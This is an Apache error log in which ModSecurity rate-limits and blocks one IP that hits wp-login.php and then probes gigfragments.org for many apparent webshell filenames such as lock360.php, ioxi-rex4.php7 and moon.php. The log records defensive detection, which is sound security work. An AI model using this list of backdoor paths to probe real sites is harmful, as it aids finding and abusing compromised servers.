[Mon Dec 08 21:17:01.478308 2025] [:error] [pid 48573:tid 48588] [client 4.190.217.206:19739] [client 4.190.217.206] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.190.217.206, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTbPzVIayuqwlm3CEkaEIgAAAU0"]
[Mon Dec 08 21:17:12.476795 2025] [proxy_fcgi:error] [pid 48573:tid 48577] [client 4.190.217.206:19794] AH01071: Got error 'PHP message: PHP Warning:  mysqli_query(): (HY000/2006): MySQL server has gone away in /home/gigfrag/public_html/wp-includes/class-wpdb.php on line 2357'
[Mon Dec 08 21:17:18.507780 2025] [:error] [pid 48573:tid 48580] [client 4.190.217.206:19715] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTbP3lIayuqwlm3CEkaEPwAAAUU"]
[Mon Dec 08 21:17:18.748271 2025] [:error] [pid 48481:tid 48499] [client 4.190.217.206:19718] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTbP3ie0pzx5KCi3S0IaOAAAAM4"]
[Mon Dec 08 21:17:18.989484 2025] [:error] [pid 48481:tid 48509] [client 4.190.217.206:19831] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTbP3ie0pzx5KCi3S0IaOQAAANg"]
[Mon Dec 08 21:17:19.230186 2025] [:error] [pid 48482:tid 48531] [client 4.190.217.206:19785] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/404.php"] [unique_id "aTbP3323gV7gRu3vn82B3AAAAJM"]
[Mon Dec 08 21:17:19.478832 2025] [:error] [pid 48482:tid 48527] [client 4.190.217.206:19832] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aTbP3323gV7gRu3vn82B3gAAAI8"]
[Mon Dec 08 21:17:19.723997 2025] [:error] [pid 48481:tid 48508] [client 4.190.217.206:11200] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aTbP3ye0pzx5KCi3S0IaOgAAANc"]
[Mon Dec 08 21:17:19.965425 2025] [:error] [pid 48482:tid 48515] [client 4.190.217.206:19799] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aTbP3323gV7gRu3vn82B4gAAAIM"]
[Mon Dec 08 21:17:20.207842 2025] [:error] [pid 48541:tid 48553] [client 4.190.217.206:19820] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "aTbP4ASNhJPArxLCdWH66QAAAQo"]
[Mon Dec 08 21:17:20.449523 2025] [:error] [pid 50569:tid 50588] [client 4.190.217.206:19788] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aTbP4PHhZxyKreYmWzKsswAAABA"]
[Mon Dec 08 21:17:20.691395 2025] [:error] [pid 50569:tid 50585] [client 4.190.217.206:19824] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aTbP4PHhZxyKreYmWzKstQAAAA0"]
[Mon Dec 08 21:17:20.932606 2025] [:error] [pid 50569:tid 50583] [client 4.190.217.206:19713] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aTbP4PHhZxyKreYmWzKstgAAAAs"]
[Mon Dec 08 21:17:21.172069 2025] [:error] [pid 48541:tid 48547] [client 4.190.217.206:19822] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aTbP4QSNhJPArxLCdWH66wAAAQQ"]
[Mon Dec 08 21:17:21.413031 2025] [:error] [pid 48481:tid 48489] [client 4.190.217.206:19786] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTbP4Se0pzx5KCi3S0IaOwAAAMQ"]
[Mon Dec 08 21:17:21.654146 2025] [:error] [pid 48573:tid 48590] [client 4.190.217.206:19716] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTbP4VIayuqwlm3CEkaETAAAAU8"]
[Mon Dec 08 21:17:21.896612 2025] [:error] [pid 48541:tid 48552] [client 4.190.217.206:19823] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTbP4QSNhJPArxLCdWH67AAAAQk"]
[Mon Dec 08 21:17:22.144635 2025] [:error] [pid 48573:tid 48576] [client 4.190.217.206:19807] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aTbP4lIayuqwlm3CEkaETwAAAUE"]
[Mon Dec 08 21:17:22.386772 2025] [:error] [pid 48481:tid 48505] [client 4.190.217.206:11204] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTbP4ie0pzx5KCi3S0IaPQAAANQ"]
[Mon Dec 08 21:17:22.628031 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:19797] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTbP4vHhZxyKreYmWzKsugAAAAo"]
[Mon Dec 08 21:17:22.868044 2025] [:error] [pid 48482:tid 48518] [client 4.190.217.206:19790] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTbP4n23gV7gRu3vn82B7wAAAIY"]
[Mon Dec 08 21:17:23.110874 2025] [:error] [pid 48541:tid 48558] [client 4.190.217.206:19801] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aTbP4wSNhJPArxLCdWH67wAAAQ8"]
[Mon Dec 08 21:17:23.352533 2025] [:error] [pid 48482:tid 48516] [client 4.190.217.206:19839] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTbP4323gV7gRu3vn82B8gAAAIQ"]
[Mon Dec 08 21:17:23.594983 2025] [:error] [pid 48541:tid 48551] [client 4.190.217.206:19827] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTbP4wSNhJPArxLCdWH68AAAAQg"]
[Mon Dec 08 21:17:23.838103 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:19726] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTbP4_HhZxyKreYmWzKsvgAAAAo"]
[Mon Dec 08 21:17:24.080209 2025] [:error] [pid 50569:tid 50582] [client 4.190.217.206:19719] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aTbP5PHhZxyKreYmWzKsvwAAAAo"]
[Mon Dec 08 21:17:24.320624 2025] [:error] [pid 48482:tid 48536] [client 4.190.217.206:19814] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aTbP5H23gV7gRu3vn82B9wAAAJg"]
[Mon Dec 08 21:17:24.563151 2025] [:error] [pid 48481:tid 48490] [client 4.190.217.206:19722] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aTbP5Ce0pzx5KCi3S0IaQAAAAMU"]
[Mon Dec 08 21:17:24.864815 2025] [:error] [pid 48541:tid 48561] [client 4.190.217.206:19755] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aTbP5ASNhJPArxLCdWH68wAAARI"]
[Mon Dec 08 21:17:25.104539 2025] [:error] [pid 48573:tid 48590] [client 4.190.217.206:19812] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uana.php"] [unique_id "aTbP5VIayuqwlm3CEkaEWAAAAU8"]
[Mon Dec 08 21:17:25.417313 2025] [:error] [pid 48573:tid 48592] [client 4.190.217.206:11263] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTbP5VIayuqwlm3CEkaEWQAAAVE"]
[Mon Dec 08 21:17:25.658797 2025] [:error] [pid 48541:tid 48562] [client 4.190.217.206:19717] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTbP5QSNhJPArxLCdWH69AAAARM"]
[Mon Dec 08 21:17:25.898665 2025] [:error] [pid 48573:tid 48576] [client 4.190.217.206:19728] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTbP5VIayuqwlm3CEkaEWwAAAUE"]
[Mon Dec 08 21:17:26.140091 2025] [:error] [pid 48481:tid 48496] [client 4.190.217.206:19767] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aTbP5ie0pzx5KCi3S0IaQgAAAMs"]
[Mon Dec 08 21:17:26.382628 2025] [:error] [pid 48573:tid 48589] [client 4.190.217.206:19732] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aTbP5lIayuqwlm3CEkaEXQAAAU4"]
[Mon Dec 08 21:17:26.623532 2025] [:error] [pid 48481:tid 48493] [client 4.190.217.206:19784] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aTbP5ie0pzx5KCi3S0IaRAAAAMg"]
[Mon Dec 08 21:17:26.877619 2025] [:error] [pid 48481:tid 48485] [client 4.190.217.206:19815] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aTbP5ie0pzx5KCi3S0IaRgAAAMA"]
[Mon Dec 08 21:17:27.119634 2025] [:error] [pid 48481:tid 48487] [client 4.190.217.206:19745] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a.php"] [unique_id "aTbP5ye0pzx5KCi3S0IaSAAAAMI"]
[Mon Dec 08 21:17:27.362056 2025] [:error] [pid 50569:tid 50593] [client 4.190.217.206:19828] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP5_HhZxyKreYmWzKsxgAAABU"]
[Mon Dec 08 21:17:27.601368 2025] [:error] [pid 50569:tid 50574] [client 4.190.217.206:19720] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP5_HhZxyKreYmWzKsxwAAAAI"]
[Mon Dec 08 21:17:27.844757 2025] [:error] [pid 48573:tid 48583] [client 4.190.217.206:19819] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP51Iayuqwlm3CEkaEXwAAAUg"]
[Mon Dec 08 21:17:28.091641 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:19783] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api.php"] [unique_id "aTbP6PHhZxyKreYmWzKsyAAAAAQ"]
[Mon Dec 08 21:17:28.334064 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:11211] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aTbP6PHhZxyKreYmWzKsyQAAAA4"]
[Mon Dec 08 21:17:28.576064 2025] [:error] [pid 50569:tid 50587] [client 4.190.217.206:19836] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aTbP6PHhZxyKreYmWzKsygAAAA8"]
[Mon Dec 08 21:17:28.820711 2025] [:error] [pid 48482:tid 48532] [client 4.190.217.206:19780] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aTbP6H23gV7gRu3vn82CCAAAAJQ"]
[Mon Dec 08 21:17:29.073691 2025] [:error] [pid 50569:tid 50586] [client 4.190.217.206:19734] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inc.php"] [unique_id "aTbP6fHhZxyKreYmWzKszQAAAA4"]
[Mon Dec 08 21:17:29.317855 2025] [:error] [pid 48481:tid 48497] [client 4.190.217.206:11206] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aTbP6Se0pzx5KCi3S0IaTAAAAMw"]
[Mon Dec 08 21:17:29.564938 2025] [:error] [pid 48541:tid 48555] [client 4.190.217.206:19787] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aTbP6QSNhJPArxLCdWH6-wAAAQw"]
[Mon Dec 08 21:17:29.868098 2025] [:error] [pid 48482:tid 48517] [client 4.190.217.206:19724] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aTbP6X23gV7gRu3vn82CDAAAAIU"]
[Mon Dec 08 21:17:30.108920 2025] [:error] [pid 48573:tid 48596] [client 4.190.217.206:19733] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/atomlib.php"] [unique_id "aTbP6lIayuqwlm3CEkaEYAAAAVU"]
[Mon Dec 08 21:17:30.348974 2025] [:error] [pid 48482:tid 48523] [client 4.190.217.206:19742] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aTbP6n23gV7gRu3vn82CDQAAAIs"]
[Mon Dec 08 21:17:30.588725 2025] [:error] [pid 48541:tid 48546] [client 4.190.217.206:11224] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aTbP6gSNhJPArxLCdWH6_AAAAQM"]
[Mon Dec 08 21:17:30.830027 2025] [:error] [pid 50569:tid 50576] [client 4.190.217.206:19803] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aTbP6vHhZxyKreYmWzKs0gAAAAQ"]
[Mon Dec 08 21:17:31.082623 2025] [:error] [pid 48481:tid 48499] [client 4.190.217.206:19821] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-rex4.php7"] [unique_id "aTbP6ye0pzx5KCi3S0IaTgAAAM4"]
[Mon Dec 08 21:17:31.325233 2025] [:error] [pid 48482:tid 48514] [client 4.190.217.206:19765] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aTbP6323gV7gRu3vn82CDgAAAII"]
[Mon Dec 08 21:17:31.569817 2025] [:error] [pid 48481:tid 48509] [client 4.190.217.206:19753] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aTbP6ye0pzx5KCi3S0IaTwAAANg"]
[Mon Dec 08 21:17:31.813198 2025] [:error] [pid 48541:tid 48545] [client 4.190.217.206:19776] [client 4.190.217.206] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/moon.php"] [unique_id "aTbP6wSNhJPArxLCdWH7AAAAAQI"]
